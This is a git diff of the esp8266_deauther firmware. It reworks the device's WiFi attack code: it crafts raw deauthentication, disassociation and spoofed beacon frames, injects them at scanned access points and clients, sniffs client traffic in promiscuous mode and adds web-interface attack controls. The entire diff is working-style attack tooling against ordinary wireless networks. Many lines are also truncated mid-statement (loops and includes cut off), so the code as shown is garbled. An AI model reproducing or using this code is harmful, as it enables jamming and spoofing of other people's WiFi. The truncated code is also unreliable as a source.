diff --git a/esp8266_deauther/APScan.cpp b/esp8266_deauther/APScan.cpp index 35f0a09..cb24ade 100644 --- a/esp8266_deauther/APScan.cpp +++ b/esp8266_deauther/APScan.cpp @@ -5,8 +5,12 @@ APScan::APScan(){ } bool APScan::start(){ + if(debug){ + Serial.println("starting AP scan..."); + Serial.println("MAC - Ch - RSSI - Encrypt. - SSID - Vendor"); + } aps._clear(); - selected = -1; + for(int i=0;i #include "Mac.h" #include "MacList.h" extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third); +extern const bool debug; class APScan{ public: @@ -25,12 +26,12 @@ class APScan{ int getAPRSSI(int num); int getAPChannel(int num); - Mac getTarget(); - + int getFirstTarget(); + bool isSelected(int num); + int results = 0; - int selected = -1; - private: MacList aps; + private: int channels[maxResults]; int rssi[maxResults]; char names[maxResults][33]; @@ -38,6 +39,8 @@ class APScan{ char vendors[maxResults][9]; String getEncryption(int code); + + bool selected[maxResults]; }; #endif diff --git a/esp8266_deauther/Attack.cpp b/esp8266_deauther/Attack.cpp index c8955ac..b563af6 100644 --- a/esp8266_deauther/Attack.cpp +++ b/esp8266_deauther/Attack.cpp @@ -1,319 +1,259 @@ #include "Attack.h" Attack::Attack(){ - for(int i=0;i= 0); + if(debug) Serial.println("done "); +} - randomSeed(os_random()); - uint8_t randomMac[6] = {0x00,0x01,0x02,0x00,0x00,0x00}; +void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason){ + packetSize = 0; + for(int i=0;i32) ssidLen = 32; + + for(int i=0;i=0 && num<=randomBeacons){ - getRandomVendorMac(randomMac); - for(int h=0;h= 1000/deauthsPerSecond){ + /* =============== Deauth Attack =============== */ + if(isRunning[0] && currentMillis-prevTime[0] >= 1000){ + if(debug) Serial.print("running "+(String)attackNames[0]+" attack"); - int clientsSelected = 0; - - for(int i=0;i= 1000){ + if(debug) Serial.print("running "+(String)attackNames[1]+" attack"); - previousMillis[0] = millis(); + for(int a=0;a= 1000){ - stati[0] = (String)packetsCounter[0]+"pkts/s"; - packetsCounter[0] = 0; - previousSecond[0] = millis(); - //Serial.println(""); - } - - } - if(running[1]){//deauth selected - if((currentMillis - previousMillis[1]) >= 1000/deauthsPerSecond){ - - //send deauth - deauthPacket[0] = 0xc0; - if(wifi_send_pkt_freedom(deauthPacket, 26, 0) == -1){/* - Serial.print(packetSize); - Serial.print(" : "); - PrintHex8(packet, packetSize); - Serial.println("");*/ - }else packetsCounter[1]++; - - delay(1); - - //send disassociate - deauthPacket[0] = 0xa0; - if(wifi_send_pkt_freedom(deauthPacket, 26, 0) == -1){/* - Serial.print(packetSize); - Serial.print(" : "); - PrintHex8(packet, packetSize); - Serial.println("");*/ - }else packetsCounter[1]++; - - previousMillis[1] = millis(); - - } - - if(currentMillis - previousSecond[1] >= 1000){ - stati[1] = (String)packetsCounter[1]+"pkts/s"; - packetsCounter[1] = 0; - previousSecond[1] = millis(); - //Serial.println(""); - } - + + prevTime[1] = millis(); + stati[1] = (String)packetsCounter[1]+"pkts/s"; + packetsCounter[1] = 0; + if(debug) Serial.println(" done "); } - if(running[2] || running[3]){//beacon spam - - if((currentMillis - previousMillis[3]) >= 1000/beaconPerSecond){ - previousMillis[3] = millis(); - randomBeaconCounter = 0; - - for(int i=0;i= 1000){ - if(running[3]) stati[3] = (String)packetsCounter[3]+"pkts/s"; - else stati[2] = (String)packetsCounter[3]+"pkts/s"; - packetsCounter[3] = 0; - previousSecond[3] = millis(); - } + if(isRunning[2] && currentMillis-prevTime[2] >= 1000){ + if(debug) Serial.print("running "+(String)attackNames[1]+" attack"); + prevTime[1] = millis(); + stati[1] = (String)packetsCounter[1]+"pkts/s"; + packetsCounter[1] = 0; + if(debug) Serial.println(" done "); } } -void Attack::generateBeaconPacket(){ +void Attack::start(int num){ + if(!isRunning[num]){ + isRunning[num] = true; + stati[num] = "starting"; + prevTime[num] = millis(); + if(debug) Serial.println("starting "+(String)attackNames[num]+" attack"); + }else stop(num); + +} - if(currentMillis - previousRandomBeaconMillis >= randomBeaconChange*1000){ - generate(oldRandomBeacon); - //Serial.println("generated new beacon"+(String)oldRandomBeacon); - oldRandomBeacon++; - if(oldRandomBeacon == randomBeacons) oldRandomBeacon = 0; - previousRandomBeaconMillis = currentMillis; - } - - packetSize = 0; - for(int i=0;i=0 && num 0) json.remove(json.length()-1); + + json += "], \"clients\": ["; + + _selected = 0; + for(int i=0;i extern "C" { #include "user_interface.h" @@ -12,19 +12,12 @@ extern "C" { #include "APScan.h" #include "ClientScan.h" -#define attackNum 4 //number of defined attacks - -#define deauthsPerSecond 10 //number of deauthentication & disassociation frames sent per second per target. - -#define beaconPerSecond 10 //number of beacon frames sent per second -#define randomBeacons 80 //number of generated beacon frames -#define SSIDLen 32 //SSID length of random generated APs (random beacon spam) -#define randomBeaconChange 3 //time in seconds after new beacon frames are generated -#define beaconChannel 10 //channel to send beacon frames on (only for the packet bytes, it will actually sent on the current channel) +#define attacksNum 3 extern void PrintHex8(uint8_t *data, uint8_t length); extern void getRandomVendorMac(uint8_t *buf); extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third); +extern const bool debug; extern APScan apScan; extern ClientScan clientScan; @@ -33,27 +26,37 @@ class Attack { public: Attack(); - void generate(int num); - void start(int num); - String getResults(); + void generate(); void run(); - void stopAll(); + void start(int num); void stop(int num); + void stopAll(); + String getResults(); private: - void generateBeaconPacket(); - bool send(uint8_t buf[], int len); - - const String attackNames[attackNum] = {"deauth selected","deauth all","beacon spam","random beacon spam"}; - String stati[attackNum]; - int packetsCounter[attackNum]; - bool running[attackNum]; - - unsigned long previousMillis[attackNum]; - unsigned long previousSecond[attackNum]; - unsigned long previousRandomBeaconMillis; - unsigned long currentMillis = 0; + void buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason); + void buildBeacon(Mac _ap, Mac _client, String _ssid, int _ch, bool encrypt); + bool send(); + //attack declarations + const String attackNames[attacksNum] = {"deauth","beacon (clone)","beacon (list)"}; + + //attack infos + String stati[attacksNum]; + unsigned int packetsCounter[attacksNum]; + bool isRunning[attacksNum]; + const int packetRate = 10 ; + + MacList beaconAdrs; + + //packet buffer + uint8_t packet[128]; + int packetSize; + + //timestamp for running every attack + unsigned long prevTime[attacksNum]; + + //packet declarations uint8_t deauthPacket[26] = { /* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate) /* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that) @@ -64,39 +67,25 @@ class Attack /* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason) }; - - uint8_t beaconSSIDs[randomBeacons][SSIDLen]; - uint8_t beaconMACs[randomBeacons][6]; - //uint8_t beaconChannels[randomBeacons]; - - uint8_t beaconNumbers[randomBeacons]; - - uint8_t packet[128]; - int packetSize; - - int randomBeaconCounter = 0; - int oldRandomBeacon = 0; //first beacon to regenerated after >>randomBeaconChange<< seconds - uint8_t beaconPacket_header[36] = { - 0x80, 0x00, - 0x00, 0x00, //beacon - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination: broadcast - 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source - 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source - 0xc0, 0x6c, - 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, - 0x64, 0x00, - 0x01, 0x04/*, - 0x00, 0x06, //SSID size - 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, //SSID - >>beaconPacket_end<< - 0x04 //channel*/ + /* 0 - 1 */ 0x80, 0x00, + /* 2 - 3 */ 0x00, 0x00, //beacon + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination: broadcast + /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source + /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source + /* 22 - 23 */ 0xc0, 0x6c, + /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, + /* 32 - 33 */ 0xe8, 0x03, //0x64,0x00 => every 100ms + /* 34 - 35 */ 0x01, 0x04 + /*,0x00, 0x06, //SSID size + 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, //SSID + >>beaconPacket_end<<*/ }; - uint8_t beaconPacket_end[13] = { + uint8_t beaconPacket_end[12] = { 0x01, 0x08, 0x82, 0x84, - 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, - beaconChannel //channel + 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01 + /*,channel*/ }; uint8_t beaconWPA2tag[26] = { diff --git a/esp8266_deauther/ClientScan.cpp b/esp8266_deauther/ClientScan.cpp index a1df84a..60a4c5d 100644 --- a/esp8266_deauther/ClientScan.cpp +++ b/esp8266_deauther/ClientScan.cpp @@ -6,77 +6,97 @@ ClientScan::ClientScan(){ } void ClientScan::start(int _time){ + Serial.println(); + Serial.println("starting client scan"); + clients._clear(); - for(int i=0;i= timeout*1000){ + if(curTime - startTime >= (timeout*1000)/channelsNum && curChannel= timeout*1000){ sniffing = false; wifi_promiscuous_enable(0); - - /*for(int i=0;i15){ + if(sniffing && len>27){ from.set(buf[16],buf[17],buf[18],buf[19],buf[20],buf[21]); to.set(buf[22],buf[23],buf[24],buf[25],buf[26],buf[27]); - if(target.compare(from)){ - if(buf[22] == 0xFF && buf[23] == 0xFF && buf[24] == 0xFF && buf[25] == 0xFF && buf[26] == 0xFF && buf[27] == 0xFF){ - Serial.print(len); - Serial.print(" : "); - PrintHex8(buf, len); - Serial.println(""); + for(int i=0;i "); + to._print(); + Serial.println(""); + } + } } - int clientNum = clients.getNum(to); - if(clientNum == -1 && results < maxResults){ - data_getVendor(to._get(0),to._get(1),to._get(2)).toCharArray(vendors[results],9); - results++; - packets[clients.add(to)]++; - }else packets[clientNum]++; - - /* - Serial.println("found:"); - from._print(); - Serial.print(" => "); - to._print(); - Serial.println("");*/ } + } } @@ -85,9 +105,14 @@ int ClientScan::getClientPackets(int num){ return packets[clients.getNum(clients String ClientScan::getClientVendor(int num){ return vendors[num]; } Mac ClientScan::getClientMac(int num){ return clients._get(num); } bool ClientScan::getClientSelected(int num){ return selected[num]; } - +int ClientScan::getFirstClient(){ + for(int i=0;i #include "Mac.h" #include "MacList.h" #include "APScan.h" @@ -17,7 +17,9 @@ extern APScan apScan; extern NameList nameList; extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third); +extern bool intInArray(int num, int _array[]); extern void PrintHex8(uint8_t *data, uint8_t length); +extern const bool debug; class ClientScan{ public: @@ -35,6 +37,7 @@ class ClientScan{ String getClientVendor(int num); Mac getClientMac(int num); bool getClientSelected(int num); + int getFirstClient(); int results = 0; int timeout = 0; @@ -45,7 +48,6 @@ class ClientScan{ Mac from; Mac to; - Mac target; Mac broadcast; Mac zero; @@ -54,6 +56,10 @@ class ClientScan{ char vendors[maxResults][9]; int packets[maxResults]; bool selected[maxResults]; + + int channels[13]; + int channelsNum = 0; + int curChannel = 0; }; #endif diff --git a/esp8266_deauther/Mac.h b/esp8266_deauther/Mac.h index 3562c7c..f9eeebe 100644 --- a/esp8266_deauther/Mac.h +++ b/esp8266_deauther/Mac.h @@ -1,7 +1,7 @@ #ifndef Mac_h #define Mac_h -#include "Arduino.h" +#include class Mac { @@ -20,4 +20,4 @@ class Mac uint8_t adress[6]; }; -#endif +#endif diff --git a/esp8266_deauther/MacList.cpp b/esp8266_deauther/MacList.cpp index ca74f40..ddab385 100644 --- a/esp8266_deauther/MacList.cpp +++ b/esp8266_deauther/MacList.cpp @@ -17,8 +17,9 @@ int MacList::add(Mac adr){ macAdrs[num].setMac(adr); num++; return num-1; - }else return -1; + } } + return -1; } Mac MacList::_get(int i){ @@ -54,4 +55,4 @@ void MacList::remove(Mac adr){ macAdrs[i].set(0x00,0x00,0x00,0x00,0x00,0x00); } } -} +} diff --git a/esp8266_deauther/NameList.cpp b/esp8266_deauther/NameList.cpp index 3175ef4..6312b60 100644 --- a/esp8266_deauther/NameList.cpp +++ b/esp8266_deauther/NameList.cpp @@ -44,8 +44,8 @@ void NameList::save(){ } void NameList::add(Mac client, String name){ - if(clients.add(client)) len++; - else Serial.println("WARNING: name list is full!"); + if(clients.add(client) >= 0) len++; + else if(clients.getNum(client) < 0) Serial.println("WARNING: name list is full!"); uint8_t _buf[nameLength]; name.getBytes(_buf,nameLength); for(int i=0;i #include "Mac.h" #include "MacList.h" #define romAdr 0 -#define listLength 50 -#define nameLength 32 +#define listLength 30 +#define nameLength 18 #define eepromSize 4096 /* @@ -15,6 +15,7 @@ The NameList holds and saves all your custom device names in the EEPROM. You can modify the length above, but be careful the EEPROM size is limited. You may have to call nameList.clear() when uploading for the first time. */ +extern const bool debug; class NameList { diff --git a/esp8266_deauther/data.h b/esp8266_deauther/data.h index 21cef68..08b6675 100644 --- a/esp8266_deauther/data.h +++ b/esp8266_deauther/data.h @@ -23012,4 +23012,11 @@ void getRandomVendorMac(uint8_t *buf){ for(int h=0;h<3;h++) buf[h+3] = random(255); } +bool intInArray(int num, int _array[]){ + for(int i=0;i -1 && !clientScan.sniffing) { + if(server.hasArg("time") && apScan.getFirstTarget() > -1 && !clientScan.sniffing) { server.send(200, "text/json", "true"); clientScan.start(server.arg("time").toInt()); attack.stop(0); @@ -160,9 +160,9 @@ void sendAttackInfo(){ server.send ( 200, "text/json", attack.getResults()); } void startAttack(){ if(server.hasArg("num")) { int _attackNum = server.arg("num").toInt(); - if(apScan.selected > -1 || _attackNum == 3){ + if(apScan.getFirstTarget() > -1 || _attackNum == 2){ attack.start(server.arg("num").toInt()); server.send ( 200, "text/json", "true"); - } + }else server.send ( 200, "text/json", "false"); } }